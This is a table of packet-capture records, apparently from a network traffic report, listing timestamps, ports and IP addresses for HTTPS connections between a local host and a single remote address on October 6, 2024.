Oct 6, 2024 22:33:30.923283100 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.923393011 CEST	49886	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.934549093 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.954293966 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.954330921 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.954372883 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.954406023 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.954447031 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.967298031 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:30.978224039 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.982028008 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:30.982038975 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.009468079 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.040283918 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.040296078 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.043962955 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.043968916 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.047492981 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.047509909 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.078722954 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.079037905 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.079091072 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.116158009 CEST	49886	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.116175890 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.116185904 CEST	49886	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.116193056 CEST	443	49886	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.147798061 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.147811890 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.148219109 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.148282051 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.148332119 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.148592949 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.148597956 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.150840044 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.150856972 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.150893927 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.150901079 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.158543110 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.158549070 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.158562899 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.158566952 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.163815022 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.163840055 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.163892031 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.164350033 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.164366007 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.167221069 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.167243004 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.167296886 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.167398930 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.167407990 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.168981075 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.169019938 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.169069052 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.173039913 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.173055887 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.173105001 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.176191092 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.176209927 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.176333904 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.176347971 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.250370979 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.250407934 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.250456095 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.250473022 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.250488043 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.250535011 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.258382082 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.258394003 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.258428097 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.258434057 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.261774063 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.261786938 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.261856079 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.261998892 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.262006044 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.818331957 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.818752050 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.818773985 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.819246054 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.819255114 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.829798937 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.830137968 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.830151081 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.830535889 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.830544949 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.832849026 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.833201885 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.833213091 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.833596945 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.833601952 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.841749907 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.842044115 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.842057943 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.842423916 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.842428923 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.917865038 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.918370008 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.918381929 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.918881893 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.918886900 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.919246912 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.919331074 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.919399023 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.919481039 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.919502974 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.919516087 CEST	49893	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.919523954 CEST	443	49893	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.922344923 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.922394991 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.922472954 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.922579050 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.922599077 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.930824041 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.930967093 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.931029081 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.931217909 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.931226969 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.931237936 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.931242943 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.936548948 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.936568022 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.936644077 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.936914921 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.936925888 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.937577009 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.937757015 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.937822104 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.938112020 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.938137054 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.938153982 CEST	49892	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.938162088 CEST	443	49892	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.947300911 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.947529078 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.947588921 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.947614908 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.947614908 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.947627068 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.947633982 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.948510885 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.948523045 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.948590040 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.948797941 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.948803902 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.950419903 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.950452089 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:31.950505972 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.950685024 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:31.950700998 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.018949032 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.019196987 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.019423962 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.019467115 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.019484997 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.019510031 CEST	49895	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.019521952 CEST	443	49895	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.022197008 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.022248983 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.022407055 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.022589922 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.022605896 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.581418991 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.582022905 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.582036018 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.582514048 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.582519054 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.586358070 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.586718082 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.586755037 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.586921930 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.586930990 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.600033998 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.604078054 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.604089975 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.604578972 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.604583979 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.615564108 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.616255999 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.616264105 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.616810083 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.616813898 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.668824911 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.669224977 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.669250011 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.669591904 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.669596910 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.682261944 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.682336092 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.682512999 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.682538986 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.682553053 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.682563066 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.682569027 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.685461044 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.685506105 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.685566902 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.685673952 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.685688019 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.690547943 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.690639973 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.690840006 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.690840006 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.690840006 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.692728996 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.692747116 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.692826033 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.692994118 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.693003893 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.703035116 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.703258038 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.703313112 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.703356028 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.703381062 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.703408957 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.703417063 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.705287933 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.705316067 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.705379009 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.705486059 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.705498934 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.720308065 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.720395088 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.720432043 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.720484972 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.720561981 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.720571041 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.720582962 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.720587969 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.722716093 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.722743034 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.722845078 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.722970009 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.722989082 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.768313885 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.768630981 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.768681049 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.768707037 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.768719912 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.768729925 CEST	49900	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.768733978 CEST	443	49900	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.770708084 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.770724058 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.770791054 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.770920992 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.770935059 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:32.993844986 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:32.993863106 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.330421925 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.331130981 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.331160069 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.331528902 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.331536055 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.364376068 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.364701986 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.364731073 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.365061998 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.365070105 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.370454073 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.370770931 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.370793104 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.371097088 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.371103048 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.371589899 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.371845007 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.371856928 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.372142076 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.372148037 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.431158066 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.431176901 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.431341887 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.431369066 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.431436062 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.431493044 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.431519985 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.431519985 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.431535959 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.431545019 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.433975935 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.434017897 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.434102058 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.434210062 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.434226990 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.465647936 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.465914011 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.470136881 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.470165014 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.470181942 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.470215082 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.470221996 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.472069979 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.472095013 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.472894907 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.472961903 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.472985029 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.473001957 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.473012924 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.473025084 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.473066092 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.473095894 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.473112106 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.473195076 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.473206043 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.473215103 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.473220110 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.474939108 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.474975109 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.475052118 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.475157976 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.475174904 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.476419926 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.476528883 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.476583958 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.476608992 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.476624012 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.476660967 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.476732969 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.476746082 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.476756096 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.476761103 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.478566885 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.478596926 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.478677988 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.478787899 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.478800058 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.685400963 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.687017918 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.687062025 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.687472105 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:33.687488079 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.786252975 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.786309004 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.786359072 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:33.786391973 CEST	49905	443	192.168.2.4	13.107.246.45
